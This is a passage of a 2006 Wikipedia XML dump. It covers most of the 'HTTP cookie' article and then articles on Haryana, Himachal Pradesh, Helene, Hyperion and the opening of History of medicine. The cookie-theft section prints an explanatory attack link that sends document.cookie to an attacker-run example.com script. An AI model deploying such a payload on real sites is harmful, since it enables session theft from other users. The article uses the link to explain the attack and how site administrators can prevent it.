Beside the name/value pair, a cookie may also contain an expiration date, a [[path (computing)|path]], a [[domain name]], and whether the cookie is intended only for [[Transport Layer Security|encrypted connection]]s. RFC 2109 also specifies that cookies must have a mandatory [[version]] number, but this is usually omitted. These pieces of data follows the &lt;code&gt;name=value&lt;/code&gt; pair and are separated by semicolons. For example, a cookie can be created by the server by sending a line &lt;code&gt;Set-Cookie: name=value; expires=date; path=/; domain=.domain.com&lt;/code&gt;.

The domain and path tell the browser that the cookie has to be sent back to the server when requesting [[URL]]s of a given domain and path. If not specified, they default to the domain and path of the object that was requested. As a result, the domain and path strings may tell the browser to send the cookie when it normally would not. For security reasons, the cookie is accepted only if the server is a member of the domain specified by the domain string. 

Cookies are actually identified by the triple name/domain/path, not only the name (the original Netscape specification considers only the pair name/path). In other words, same name but different domains or paths identify different cookies with possibly different values. As a result, cookie values are changed only if a new value is given for the same name, domain, and path.

The expiration date tells the browser when to delete the cookie. If no expiration date is provided, the cookie is deleted at the end of the user session, that is, when the user quits the browser. As a result, specifying an expiration date is a means for making cookies to survive across browser sessions. For this reasons, cookies that have an expiration date are called ''persistent''.

The expiration date is specified in the &quot;Wdy, DD-Mon-YYYY HH:MM:SS [[GMT]]&quot; format. As an example, the following is a cookie sent by a [[Yahoo!]] mail server (the value string has been changed):

&lt;code&gt;Set-Cookie: DX=g=1&amp;q=abcd&amp;gtr=sdfsfo; expires=Thu, 15&amp;nbsp;Apr 2010 20:00:00 GMT; path=/; domain=.yahoo.com&lt;/code&gt;

The name of this particular cookie is simply &lt;code&gt;DX&lt;/code&gt;, while its value is the string &lt;code&gt;g=1&amp;q=abcd&amp;gtr=sdfsfo&lt;/code&gt;. The server can use an arbitrary string as the value of a cookie. In this particular case, the server collapsed the value of a number of variables in a single string. The path and domain strings &lt;code&gt;/&lt;/code&gt; and &lt;code&gt;.yahoo.com&lt;/code&gt; tell the browser to send the cookie when requesting an arbitrary page of the domain &lt;code&gt;.yahoo.com&lt;/code&gt;, with an arbitrary path.

===Expiration===
Cookies expire, and are therefore not sent by the browser to the server, under these conditions:

# at the end of the user session (i.e. when the browser is shut down) if the cookie is not persistent
# an expiration date has been specified, and has passed
# the expiration date of the cookie is changed (by the server or the script) to a date in the past
# the browser deletes the cookie by user request

The third condition allows a server or script to explicitly delete a cookie.

===Authentication===
Cookies can be used by a server to recognize authenticated users and to personalize the web pages of a site depending on the preferences of a user. This can be done for example as follows:

# the user inserts username and password in the text fields of a login page and sends them to the server;
# the server receives username and password and checks them; if correct, it sends back a page confirming that logging has been successful together with a cookie, storing the pair user/cookie;
# every time the user requests a page from the server, the browser automatically sends the cookie back to the server; the server compares the cookie with the stored ones; if a match is found, the server knows which user  has requested that page.

This is the method commonly used by many sites that allow logging in, such as [[Yahoo!]] and [[Wikipedia]].

===Personalization===
Cookies can be used for allowing users to express preferences about a Web site. For example, the [[Google]] [[search engine]] allows the user to choose how many results are to be shown for every query, and this choice is maintained across sessions.

If a user was authenticated using the technique above, when they request a page the server is also sent the cookie associated with the user. It can therefore adapt the requested page to the stored used preferences. When authentication is not used, the user preferences are stored in a cookie.  The users select their preference by entering them in a Web form and submitting it to the server. The browser encodes them in a cookie and sends it back to the browser. This way, every time the user accesses a page, the server is also sent the cookie where the preferences are stored, and can personalize the page according to the user preferences.

For example, Google stores the user preferences in a cookie of name &lt;code&gt;PREF&lt;/code&gt;. This cookie is created with default values when the user accesses the site for the first time. For example, the cookie value contains the string &lt;code&gt;NR=10&lt;/code&gt;, that indicates a default preference of ten hits displayed in each page. If the user changes this number to 20 in the preference page, the server modifies the cookie with &lt;code&gt;NR=20&lt;/code&gt;. Every time the user queries the search engine, the cookie is sent to the server along with the query. This way, the server knows how many hits have to be shown in each page.

===Tracing===
Cookies can also be used for tracing the path of a user while visiting the web pages of a site. This can also be done in part by using the [[IP address]] of the computer requesting the page or the [[referer]] field of the [[HyperText Transfer Protocol|HTTP header]], but cookies allows for a greater precision. This can be done for example as follows:

# if the user requests a page of the site, but the request contains no cookie, the server presumes that this is the first page visited by the user; the server creates a random string and sends it as a cookie back to the browser together with the requested page;
# from this point on, the cookie will be automatically sent by the browser to the server every time a new page from the site is requested; the server sends the page as usual, but also store the URL of the requested page along with the date/time and the cookie in a log file.

By looking at the log file, it is then possible to find out which pages, and in which sequence, the user has visited. For example, if the log contains some requests done using the cookie &lt;code&gt;id=dfhsiw&lt;/code&gt;, these requests all come from the same user. The URL and time/date stored with the cookie allows finding out which pages the user has visited, and at which time.

===Third party cookies===
Images or other objects contained in a Web page may reside in servers different from the one holding the page. In order to show such a page, the browser downloads all these objects, possibly receiving cookies. These cookies are called ''third-party cookies'' if the server sending them is located outside the domain of the Web page. 

This condition is common with on-line advertisment. Indeed, [[Web banner]]s are typically stored in servers of the advertising company, which are not in the domain of the Web pages showing them. If third-party cookies are not rejected by the browser, an advertising company can track a user across the sites where it has placed a banner. In particular, whenever a user views a page containing a banner, the browser retrieves the banner from a server of the advertising company. If this server has previously set a cookie, the browser sends it back, allowing the advertising company to link this access with the previous one. By chosing a unique banner URL for every Web page where it is placed or by using the HTTP referer field, the advertising company can then find out which pages the user has viewed. The same technique can be used with [[Web bug]]s, that are still images embedded in a Web page, but are invisible to the user.

Third-party cookies are used to create an anonymous [[profile]] of the user. This allows the advertising company to select the banner to show to a user based on the user's profile. The advertising industry has always denied any other use of these profiles.

Many modern browsers, such as [[Internet Explorer]], [[Opera (browser)|Opera]] and [[Firefox (browser)|Firefox]], block third party cookies if requested by the user.

===Basket===
Some on-line shopping sites allow a user, even if unlogged, to store a number of items in a &quot;virtual basket&quot;. The user starts navigating the site with an empty bag, and can add items to the bag while visiting the site. The list of items the user has chosen can be stored using cookies. For example, the server sends an empty cookie to the browser when the user visits the first page; whenever the user adds an item to the basket, the server adds the name of the item to the cookie.

This is a very insecure mechanism, because a malicious user can alter the cookie; a much more secure mechanism is to generate a random cookie as under &quot;tracing&quot;, and using that as a lookup key in a database stored on the server.

===Cookie theft===
The cookie specifications constrain cookies to be sent back only to the servers in the same domain as the server originating them. However, the value of cookies can be sent to other servers using means different from the &lt;code&gt;Cookie&lt;/code&gt; header.

In particular, scripting languages such as [[JavaScript]] and [[JScript]] are usually allowed access to cookie values and have some means to send arbitrary values to arbitrary servers on the [[Internet]]. These facts are used in combination with sites allowing users to post HTML content that other users can see.

As an example, an attacker running the domain &lt;code&gt;example.com&lt;/code&gt; may post a comment containing the following link to a popular blog they do not otherwise control:

:&lt;code&gt;&lt;nowiki&gt;&lt;a href=&quot;#&quot; onclick=&quot;window.location='http://example.com/stole.cgi?text='+escape(document.cookie); return false;&quot;&gt;Click here!&lt;/a&gt;&lt;/nowiki&gt;&lt;/code&gt;

When another user clicks on this link, the browser executes the piece of code within the &lt;code&gt;onclick&lt;/code&gt; attribute, thus replacing the string &lt;code&gt;document.cookie&lt;/code&gt; with the list of cookies that are active for the page. As a result, this list of cookies is sent to the &lt;code&gt;example.com&lt;/code&gt; server, and the attacker is then able to collect the cookies of other users.

This type of attack is difficult to be detected on the user side, since the script is coming from the same domain that has set the cookie, and the operation of sending the value appear to be authorized by this domain. It is usually considered the responsibility of the administrators running sites where users can post to disallow the posting of such malicious code.

==References==
&lt;!-- How to add a footnote: 
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnotes]] for details.
     1) Assign your footnote a unique name, for example TheSun_Dec9. 
     2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote.
     3) Take note of the name of the footnote that immediately precedes yours in the article body. 
     4) Add #{{Note|TheSun_Dec9}} to the footnote numbered-list, immediately below the footnote you noted in step 3.  No need to re-number anything!
     5) Multiple footnotes to the same reference: see [[Wikipedia:Footnotes]] for a how-to, if you don't succeed by simply following the pattern.
   NOTE: It is important to add footnotes in the right order in the list!
 --&gt;

# {{note|netscape}} [http://wp.netscape.com/newsref/std/cookie_spec.html Persistent client state - HTTP cookies - Preliminary specification] (Netscape)
# {{note|rfc2}} RFC 2109 and RFC 2965 - HTTP State Management Mechanism ([[Internet Engineering Task Force|IETF]])
# {{note|faq}} [http://www.cookiecentral.com/faq/ The unofficial cookie faq]
# {{note|cbsnews}} CBS News. [http://www.cbsnews.com/stories/2002/03/20/tech/main504131.shtml CIA Caught Sneaking Cookies]. [[March 20]] [[2002]].
# {{note|asspress}} The Associated Press. [http://www.nytimes.com/2005/12/29/national/29cookies.html Spy Agency Removes Illegal Tracking Files]. [[December 29]] [[2005]]
# {{note|xss}} [http://www.cgisecurity.com/articles/xss-faq.shtml#theft &quot;Can you show me what XSS cookie theft looks like?&quot;] (excerpt from the Cgisecurity [http://www.cgisecurity.com/articles/xss-faq.shtml Cross Site Scripting FAQ])
# {{note|thealli}} [http://www.theallineed.com/computers/05072901.htm Contrary to popular belief, cookies are good for you! (on the Internet)]
# {{note|eei}} Keith C. Ivey [http://www.eeicommunications.com/eye/utw/98feb.html Untangling the Web Cookies: Just a Little Data Snack]. 1998
# {{note|jupiter}} Brian Quinton. [http://searchlineinfo.com/InsightExpress_cookie_study/ Study: Users Don’t Understand, Can’t Delete Cookies]. Direct. [[May 18]] [[2005]]
# {{note|slate}} Adam Penenberg. [http://www.slate.com/id/2129656/ Cookie Monsters]. [[Slate (magazine)|Slate]], [[7 November]] [[2005]]
# {{note|nytimes}} John Schwartz. [http://www.nytimes.com/2001/09/04/technology/04COOK.html Giving the Web a memory cost its users privacy]. New York Times. [[September 4]] [[2001]]
# {{note|ks}} Jay Kesan and Rajiv Shah. [http://opensource.mit.edu/papers/shah.pdf Shaping code]. Chapter II.B (Netscape's cookies).
# {{note|kristol}} David Kristol. HTTP Cookies: Standards, privacy, and politics. ACM Transactions on Internet Technology, 1(2), 151 - 198, 2001. {{doi|10.1145/502152.502153}}
# {{note|ie}} [http://www.microsoft.com/windows/IE/community/columns/historyofie.mspx The history of Internet Explorer]
# {{note|clarke}} Roger Clarke. [http://www.anu.edu.au/people/Roger.Clarke/II/Cookies.html Cookies]
# {{note|javascript}} [http://www.yourhtmlsource.com/javascript/cookies.html Cookies in JavaScript]

==External links==
*[http://www.rajivshah.com/Case_Studies/Cookies/CookiesLinks.html Cookie links]
*[http://www.acros.si/papers/session_fixation.pdf Session Fixation (PDF)]
*[http://www.howstuffworks.com/cookie.htm How cookies work]
*[http://www.cert.org/advisories/CA-2000-02.html CERT® Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests] : cf. 'Attacks May Be Persistent Through Poisoned Cookies' paragraph
* [http://www.imperva.com/application_defense_center/glossary/cookie_poisoning.html description of a cookie poisoning attack]
* [http://www.ilovejackdaniels.com/development/are-cookies-dangerous/ Are Cookies Dangerous] An article explaining what cookies are and what to be careful of.
* [http://www.cookiecentral.com/ Cookie Central]
* [http://www.safecount.org/  safecount.org]  An organization of marketing researchers explaining and defending safe cookie use.
* [http://www.ciac.org/ciac/bulletins/i-034.shtml CIAC Bulletin] from the [[United States Department of Energy]]

{{FOLDOC}}

[[Category:HTTP]]
[[Category:Moral panics]]

{{Link FA|pl}}

[[als:Cookie]]
[[cs:HTTP cookie]]
[[da:Cookie]]
[[de:HTTP-Cookie]]
[[eo:Kuketo]]
[[es:Cookie]]
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[[he:קוקית]]
[[hu:HTTP süti]]
[[it:Cookie]]
[[ja:HTTP cookie]]
[[ko:HTTP 쿠키]]
[[nl:Cookie (internet)]]
[[no:Informasjonskapsel]]
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{{featured article}}</text>
    </revision>
  </page>
  <page>
    <title>Haryana</title>
    <id>14189</id>
    <revision>
      <id>42000192</id>
      <timestamp>2006-03-03T03:27:46Z</timestamp>
      <contributor>
        <ip>70.26.22.84</ip>
      </contributor>
      <comment>/* Demographics */</comment>
      <text xml:space="preserve">{{India state infobox|
state_name=Haryana |
image_map=IndiaHaryana.png |
capital=[[Chandigarh]] |
latd = 30.73|longd=76.78|
largest_city=[[Faridabad]]|
abbreviation=IN-HR |
official_languages=[[Hindi]]|
legislature_type=Unicameral |
legislature_strength=90 |
governor_name=[[A.R. Kidwai]] |
chief_minister=[[Bhupinder Singh Hooda]] |
established_date=[[1966-11-01]] |
area=44,212 |
area_rank=20th |
area_magnitude=10 |
population_year=2001 |
population=21,082,989  |
population_rank=16th |
population_density=477 |
districts=19 |
website=haryana.gov.in |
seal=[[image:Haryanaseal.png|center]] |
footnotes = | 
}}

'''Haryana''' ({{lang-hi|हरियाणा}}) is a [[States and territories of India|state]] in north [[India]].  Neighbouring states are [[Punjab, India|Punjab]] and [[Himachal Pradesh]] to the north, [[Rajasthan]] to the west and south. The river [[Yamuna]] acts as the eastern boundary between Haryana and the states of [[Uttaranchal]] &amp; [[Uttar Pradesh]].

Seasonal rivers like [[Ghaggar River]], Markanda, Tangri, Sahibi etc pass through the state.

== Geography ==
Haryana is situated in the north between 27 deg 37' to 30 deg 35' latitude and between 74 deg 28' to 77 deg 36' longitude. The altitude of Haryana varies between 700 to 3600 ft (200 metres to 2 kilometres) above sea level. The state is divided into four divisions for administrative purpose  - Ambala, Rohtak, Gurgaon and Hissar. There are 19 districts, 47 sub-divisions, 67 tehsils, 45 sub-tehsils and 116 blocks. Haryana has a total of 81 cities and towns. It has 6,759 villages.  An area of 1,553 km&amp;sup2; is covered by forest. Haryana has four main geographical features.
* Shivalik Hills
* [[Yamuna]] - Ghaggar (Saraswati) plain
* Semi-desert sandy plain
* [[Aravalli Range]]

== History ==
The mostly [[Hindi]]-speaking eastern portion of [[Punjab, India|Punjab]] became Haryana, while mostly [[Punjabi]]-speaking western portion remained as Punjab. Today, Haryana has the vast majority of the ethnic [[Hindu]] population. [[Chandigarh]], on the linguistic border, was made a [[union territory]], that serves as capital of both these states. [[Chandigarh]] was due to transfer to Punjab alone in 1986, but the transfer was delayed by the Congress party due to presure from Hindu population.

Haryana, with more than 5000 year old history, is the cradle of [[Vedic civilization|Vedic]] and [[Hindu]] civilization. It was here 5000 years ago that Lord [[Krishna]] preached [[Gita]] at the start of the battle of [[Mahabharata]]. Before the Mahabharata war, a battle of ten kings took place in the [[Kurukshetra]] region in the Saraswati valley. Mahabharata (3102 BC) mentions Haryana as Bahudhhanyaka, 'land of plentiful grains' and Bahudhana, 'land of immense riches'. The word 'Hariana' occurs in a [[Sanskrit]] inscription dated 1328 AD kept in Delhi Museum which refers to this region as &quot;The heaven on earth&quot;. It was here that the [[Aryan]] culture took birth and matured.

Excavations in places like Naurangabad, and Mittathal in Bhiwani, Kunal in Fatehbad, Agroha near Hissar, [[Rakhigarhi]] in Jind, Rukhi in Rohtak and [[Banawali]] in Sirsa have unearthed evidence of pre-Harappan and Harappan culture. Findings of pottery, sculpture and jewellery in sites at [[Kurukshetra]], Pehowa, Tilpat and Panipat have proved the historicity of the Mahabharat war. These places are mentioned in the Mahabharat as Prithudaka (Pehowa), Tilprastha (Tilput), Panprastha (Panipat) &amp; Sonprastha (Sonipat).

Haryana state came into existence on 1st November, 1966.

== Demographics ==
The population of Haryana, according to the 2001 census, is 2,10,83,000, with 1,13,28,000 males and 97,55,000 females. The population density is 477 people/sq km. 

Hindus are about 80% of the population, Sikhs 16%, Muslims 4% and Christians 0.10%.

== Districts ==
{{Districts of Haryana}}

== External links ==
* [http://www.haryana-online.com Haryana Online]
** [http://haryana-online.com/History/history.htm History of Haryana]
** [http://haryana-online.com/People/people.htm People of Haryana]
** [http://haryana-online.com/Culture/culture.htm Culture of Haryana]
** [http://haryana-online.com/Fauna/haryana_birds.htm Birds of Haryana]
** [http://haryana-online.com/tourism.htm Tourism in Haryana]
* [http://haryana.nic.in Haryana Government Website]
* [http://www.indian-elections.com/assembly-elections/haryana]


{{India}}

[[Category:Haryana|*]]
[[Category:States and territories of India]]

[[de:Haryana]]
[[et:Haryana]]
[[es:Haryana]]
[[eo:Harjano]]
[[fr:Haryana]]
[[gu:હરિયાણા]]
[[hi:हरियाणा]]
[[ka:ჰარიანა]]
[[ml:ഹരിയാന]]
[[mr:हरियाणा]]
[[nl:Haryana]]
[[pt:Haryana]]
[[ru:Харьяна]]
[[sv:Haryana]]
[[ta:ஹரியானா]]
[[te:హర్యానా]]
[[zh:哈里亚纳邦]]</text>
    </revision>
  </page>
  <page>
    <title>Himachal Pradesh</title>
    <id>14190</id>
    <revision>
      <id>41277768</id>
      <timestamp>2006-02-26T06:13:20Z</timestamp>
      <contributor>
        <username>Pathoschild</username>
        <id>240994</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/The71|The71]] ([[User talk:The71|talk]]) to last version by 69.242.102.168</comment>
      <text xml:space="preserve">{{India state infobox|
state_name=Himachal Pradesh |
image_map=IndiaHimachalPradesh.png |
capital=[[Shimla]] |
latd = 30.06|longd=77.11|
largest_city=[[Shimla]]|
abbreviation=IN-HP |
official_languages=[[Hindi]] and [[Pahari]]|
legislature_type=Unicameral |
legislature_strength=68 |
governor_name=[[Vishnu Sadashiv Kokje]] |
chief_minister=[[Virbharda Singh]] |
established_date=[[1971-01-25]] |
area=55,673 |
area_rank=17th |
area_magnitude=10 |
population_year=2001 |
population=6,077,248  |
population_rank=20th |
population_density=109 |
districts=12 |
website=himachal.nic.in |
seal=[[image:HPseal.jpg|center]] |
footnotes = | 
}}

'''Himachal Pradesh''' ([[Devanagari]]: &amp;#2361;&amp;#2367;&amp;#2350;&amp;#2366;&amp;#2330;&amp;#2354; &amp;#2346;&amp;#2381;&amp;#2352;&amp;#2342;&amp;#2375;&amp;#2358;), formally the [[Punjab Hill States]], is a mostly mountainous [[States and territories of India|state]] in northwest [[India]]. Neighbouring regions are [[Tibet]] to the east, [[Jammu and Kashmir]] to the north and northwest, [[Punjab, India|Punjab]] to the southwest, [[Haryana]] and [[Uttar Pradesh]] to the south and [[Uttaranchal]] to the southeast.

It is 55,658 sq km (21,490 sq mi) and the population in [[1991]] was 5,111,079. 

The state capital is [[Shimla]] (formerly British India's summer capital under the name Simla), other major towns are [[Dharamsala]], [[Kangra]], [[Mandi]], [[Kullu]], [[Chamba]], [[Dalhousie, India|Dalhousie]] and [[Manali]].  The western [[Himalaya]] lies in the north and east and the smaller [[Siwalik Hills|Shiwalik]] (or Shivalik) range in the south.  The [[Ghaggar River]] originates in the Shivalik range. The main rivers are the [[Sutlej River|Sutlej]] (home of the [[Bhakra Nangal Dam]] Project) and the [[Beas River|Beas]]. The [[bridge]] on the [[Sutlej River]] at Kandraur, [[Bilaspur District, Himchal Pradesh|Bilaspur District]] is one of the highest in [[Asia]].

== Districts ==
[[Image:Himachal Pradesh map.jpg|thumb|380px|right|Himachal Pradesh]]
* [[Kangra District|Kangra]]
* [[Hamirpur District, Himachal Pradesh|Hamirpur]]
* [[Mandi District|Mandi]]
* [[Bilaspur district, Himachal Pradesh|Bilaspur]]
* [[Una District|Una]]
* [[Chamba District|Chamba]]
* [[Lahul and Spiti]]
* [[Sirmaur District|Sirmaur]]
* [[Kinnaur District|Kinnaur]]
* [[Kullu District|Kullu]]
* [[Solan District|Solan]]
* [[Shimla District|Shimla]], containing the state capital

==Culture==
The major spoken languages are [[Kangri language|Kangri]], [[Pahari]], [[Punjabi language|Punjabi]], [[Hindi]] and [[Mandiali language|Mandiali]]. Kangri and Mandiali are believed to be twin dialects originating from Punjabi.
 
[[Hinduism]], [[Buddhism]] and [[Sikhism]] are the main religions. [[Dharmshala]], in the western area of the state is the home of the [[Dalai Lama]] and many Tibetan refugees.

==Politics==
See Also: ''[[:Category:Indian political parties-Himachal Pradesh|List of political parties in the state]]''

In [[2003]] the state legislative assembly was won by the [[Indian National Congress]]. The main opposition is the [[Bharatiya Janata Party]].

==Transportation and Communication==
Roads are the main mode of transport. Transportation can be risky especially during [[monsoon]] season due to  frequent landslides and washouts. The government-owned Himachal Road Transport Corporation runs a network of buses across the state and there are private buses and taxis. Most areas have landline and cellular telephone service and Internet cafes.

==History==
Himachal Pradesh came under [[British India|British]] control in the middle of the [[19th century]]. The British annexed [[Kangra District]], which includes present-day Kangra, [[Kullu District|Kullu]], [[Hamirpur District, Himachal Pradesh|Hamirpur]], and [[Lahul and Spiti]] districts, in 1846 at the conclusion of the [[First Anglo-Sikh War]]. The remainder of Himachal Pradesh was made up of a number of [[princely state]]s. Kangra District was part of the British province of [[Punjab region|Punjab]], and the princely states, then known as the ''Simla Hill States'', were under the authority of Punjab until the early 1930's, when the [[Punjab States Agency]] was created, under the direct authority of the [[Governor-General of India]]. The [[Punjab Hill States Agency]], which included most of the princely states in present-day Himachal Pradesh, was separated from Punjab States Agency in 1936.

India became independent of the United Kingdom in 1947, and Himachal Pradesh was established as a state on April 15 1948, composed of the territory of some 30 [[Hill states]] (including feudatories) that acceded to the [[Government of India]], while [[Bilaspur, Himachal Pradesh|Bilaspur]] remained a separate state in the Indian Union. Bilaspur was merged with Himachal Pradesh on July 1, 1954 by an act of the Indian Parliament. Himachal Pradesh became a [[union territory]] on November 1, 1956. The state was enlarged in 1966 by the transfer of the districts of Shimla, Kangra (which included present-day districts of Kangra and Hamirpur), Kullu, Lahul and Spiti, and Una from Punjab state. It was made the 18th state of India on [[January 25]], [[1971]].

{{India}}

==References==
*Verma, V. 1996. ''Gaddis of Dhauladhar: A Transhumant Tribe of the Himalayas''. Indus Publishing Co., New Delhi.
*Handa, O. C. 1987. ''Buddhist Monasteries in Himachel Pradesh''. Indus Publishing Co., New Delhi. ISBN 81-85182-03-5.

==External links==
*[http://himachal.us Another Himachal Blog]: Information and photos of Himachal Pradesh
*[http://himachalpardesh.blogspot.com Himachal Blog]: Information and photos of Himachal Pradesh
*[http://himachal.nic.in/welcome.asp Official website of Himachal Pradesh Government]
*[http://www.ibiblio.org/himachal/ Website about Himachal Pradesh]
*[http://www.123himachal.com/ A Portal to art &amp; culture of Himachal]
*[http://www.himachalonline.com Guide to Himachal] 
*[http://www.himvikas.org/ News about Himachal Pradesh]



[[Category:Himachal Pradesh|*]]
[[Category:States and territories of India]]

[[de:Himachal Pradesh]]
[[et:Himachal Pradesh]]
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[[hi:हिमाचल प्रदेश]]
[[hr:Himachal Pradesh]]
[[ka:ჰიმაჩალ-პრადეში]]
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[[ru:Химачал-Прадеш]]
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[[ta:இமாசலப் பிரதேசம்]]
[[te:హిమాచల్ ప్రదేశ్]]
[[zh:喜马偕尔邦]]</text>
    </revision>
  </page>
  <page>
    <title>Hakra River</title>
    <id>14191</id>
    <revision>
      <id>25052106</id>
      <timestamp>2005-10-08T11:26:33Z</timestamp>
      <contributor>
        <username>Machaon</username>
        <id>193632</id>
      </contributor>
      <comment>merging to Ghaggar-Hakra River</comment>
      <text xml:space="preserve">#REDIRECT[[Ghaggar-Hakra River]]</text>
    </revision>
  </page>
  <page>
    <title>Helene</title>
    <id>14192</id>
    <revision>
      <id>41901807</id>
      <timestamp>2006-03-02T14:08:39Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
      </contributor>
      <comment>/* Other namesakes */  disambig servant</comment>
      <text xml:space="preserve">'''Helene''' (from [[Greek language|Greek]]: 'Ελένη [''helene'' - &quot;torch&quot; or &quot;corposant&quot;], modern Greek pronuncation ''Eleni'', [[English language|English]]  also '''Helena''', '''Hellen''' or '''Ellen''') is a very popular female name, first attested in the [[Iliad]] ([[Helen of Troy]]). The name is used in many other languages. Name days: [[Hungary]] (as ''Heléne'') - [[October 14]], [[Estonia]] (as ''Helen'') - [[August 18]].

==Famous namesakes==
* Two [[Helene (mythology)|Helene]] in Greek mythology
* [[Saint Helena]]''' 
* '''Helene''', the consort of [[Simon Magus]]
* [[Helene (moon)|Helene]], a [[natural satellite|moon]] of [[Saturn (planet)|Saturn]]
* [[101 Helena]], an asteroid

*[[Princess Helena of the United Kingdom]]
*[[Helen Atkinson-Wood]]
*[[Helen Chadwick]]
*[[Helen Clark (UK)|Helen Clark]], [[United Kingdom]] politician
*[[Helen Clark]], [[New Zealand]] Prime Minister
*[[Helen Frankenthaler]]
*[[Helen Gandy]]
*[[Helen Garner]]
*[[Helen Keller]]
*[[Helen Hayes]]
*[[Helen Hunt]]
*[[Helen Mirren]]
*[[Bollywood]] actress [[Helen_(Bollywood_actress)|Helen]]
*[[Helen, Sweetheart of the Internet]], a webcomic.

There are also [[town]]s named '''Helena''' or '''Helen''' in the [[United States]]:
*[[Helena, Alabama]]
*[[Helena, Arkansas]]
*[[Helena, Montana]]
*[[Helena, Ohio]]
*[[Helen, Georgia]]
*[[Helen, Maryland]]
*[[Helen, West Virginia]]

===Other namesakes===
*[[Admiral Helena Cain]], a character on the [[science-fiction]] [[television]] series [[Battlestar Galactica]].
*[[Helen (play)]] by [[Euripides]]
*[[Hellen]] (son of Deucalion and Pyrrha, the ancestor of the Greeks)
*[[Helenus]], son of King Priam of Troy.
*[[Helen (unit)]]
*[[Helena (Dead or Alive character)|Helena]], a character from the ''Dead or Alive'' video game series
*[[Helena (song)]], by My Chemical Romance
*''[[The Ellen DeGeneres Show]], a [[television syndication|syndicated]] [[television]] [[talk show]]
*[[Ellen (Mary Poppins character)|Ellen]], a [[servant (domestic)|servant]] of the Banks family in the [[Mary Poppins]] books and film.
*''[[Ellen (novel)|Ellen]]'' is a [[1986]] novel by [[Ita Daly]].
*''[[Ellen West (psychology)|Ellen West]]'' Ludwig Binswanger study case.
*[[USS Ellen (1861)|USS Ellen]], a U.S. steamship during the Civil War

'''''Helena''' may also be'' [[St. Elmo's Fire]].

==External links==
* [http://www.behindthename.com/php/extra.php?extra=r&amp;terms=helen Foreign related names]
* [http://www.behindthename.com/top/search.php?terms=helen Name popularity in the United States]

[[de:Helena]]
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[[fr:Helena]]
[[ko:헬레네]]
[[nl:Helene]]
[[pl:Helena]]
[[pt:Helena]]
[[sv:Helena]]


{{disambig}}
[[Category:Human name disambiguation]]
[[Category:Given names]]</text>
    </revision>
  </page>
  <page>
    <title>Hyperion</title>
    <id>14193</id>
    <revision>
      <id>40797783</id>
      <timestamp>2006-02-23T02:08:33Z</timestamp>
      <contributor>
        <username>JeremyA</username>
        <id>170381</id>
      </contributor>
      <minor />
      <comment>delinst deleted article</comment>
      <text xml:space="preserve">'''Hyperion''' may refer to,

* [[Hyperion (mythology)]], a Titan from Greek mythology
* [[Hyperion (moon)]], a moon of Saturn

Arts:

* [[Hyperion (poem)]], unfinished epic poem by John Keats
* [[Hyperion (Longfellow)]], book by Henry Wadsworth Longfellow
* [[Hyperion (Hölderlin)]], a novel by Friedrich Hölderlin
* [[Hyperion (journal)]], short-lived 1908 German literary journal
* [[Hyperion Cantos]], four science fiction novels by Dan Simmons
* [[Hyperion class (Babylon 5)]], class of heavy  cruisers  in the Babylon 5 universe
* [[Hyperion (comics)]], various Marvel Comics characters
* [[Hyperion (Supreme Power)]], one such Marvel Comics character
* [[Hyperion (StarCraft)]], a battlecruiser in the StarCraft universe
* [[Gradius]] video game series (Hyperion used as a name in the MSX installments)
* [[Hyperion Hotel]], office in the ''Angel'' TV series.
* Emperor Hyperion, villain in the [[Gekigangar 3]]
* Hyperion, robotic unit in ''[[Empire Earth]]''
* Hyperion, [[Seifer Almasy]]'s gunblade
* [[CAT1-X Hyperion Gundam series]] fictional weapon

Organizations:

*[[Hyperion Solutions Corporation]], business software maker
*[[Hyperion Entertainment]], games software maker
*[[Hyperion Records]], classical record label
*[[Hyperion (publisher)]], a book publishing division of Disney Corporation

Other:

*[[HMS Hyperion (H97)]] (1936-1940), British warship
*[[Hyperion (computer)]], Canadian computer from the 1980s
*[[Hyperion sewage treatment plant]], large Los Angeles sewage treatment plant

{{disambig}}

[[als:Hyperion]]
[[da:Hyperion]]
[[de:Hyperion]]
[[es:Hiperión (desambiguación)]]
[[fr:Hypérion]]
[[it:Iperione]]
[[lb:Hyperion]]
[[nl:Hyperion]]
[[ja:ハイペリオン]]
[[pl:Hyperion]]
[[sl:Hiperion (razločitev)]]</text>
    </revision>
  </page>
  <page>
    <title>History of medicine</title>
    <id>14194</id>
    <revision>
      <id>41010364</id>
      <timestamp>2006-02-24T13:31:53Z</timestamp>
      <contributor>
        <username>Ian Pitchford</username>
        <id>230605</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] clean up</comment>
      <text xml:space="preserve">All human societies have [[medicine|medical]] beliefs that provide explanations for, and responses to, [[childbirth|birth]], [[death]], and [[disease]]. Throughout the world, illness has often been attributed to [[witchcraft]], [[demons]], averse [[Astrology|astral influence]], or the will of the [[gods]], ideas that retain some power, with [[faith healing]] and [[shrine]]s still common, although the rise of scientific medicine in the past two centuries has altered or replaced many historic health practices.

{{histOfScience}}
==General review of the history of medicine ==
===Egyptian medicine===
''See main article: [[Ancient Egyptian medicine]].''

Medical information contained in the [[Edwin Smith Papyrus]] date as early as [[3000 BC]] ([http://www.arabworldbooks.com/articles8.htm]). The earliest known [[surgery]] was performed in [[History of Ancient Egypt|Egypt]] around [[2800 BC|2750 BC]] (see [[surgery]]). [[Imhotep]] in the [[Third dynasty of Egypt|3rd dynasty]] is credited as the founder of ancient Egyptian medicine and as the original author of the Edwin Smith [[papyrus]], detailing cures, ailments and [[anatomical]] observations. The Edwin Smith papyrus is regarded as a copy of several earlier works and was written circa [[1600s BC|1600 BC]]. It is an ancient textbook on surgery and describes in exquisite detail the ''examination, diagnosis, treatment,'' and ''prognosis'' of numerous ailments ([http://www.britannica.com/eb/article?tocId=9032043&amp;query=Edwin%20Smith%20papyrus&amp;ct=]).  

Additionally, the [[Ebers papyrus]] (c. [[16th century BC|1550 BC]]) is full of incantations and foul applications meant to turn away disease-causing demons and other superstition, in it there is evidence of a ''long tradition of empirical practice and observation.''{{fact}} The Ebers papyrus also provides our earliest documentation of a [[prehistory|prehistoric]] awareness of [[tumor]]s{{fact}}.

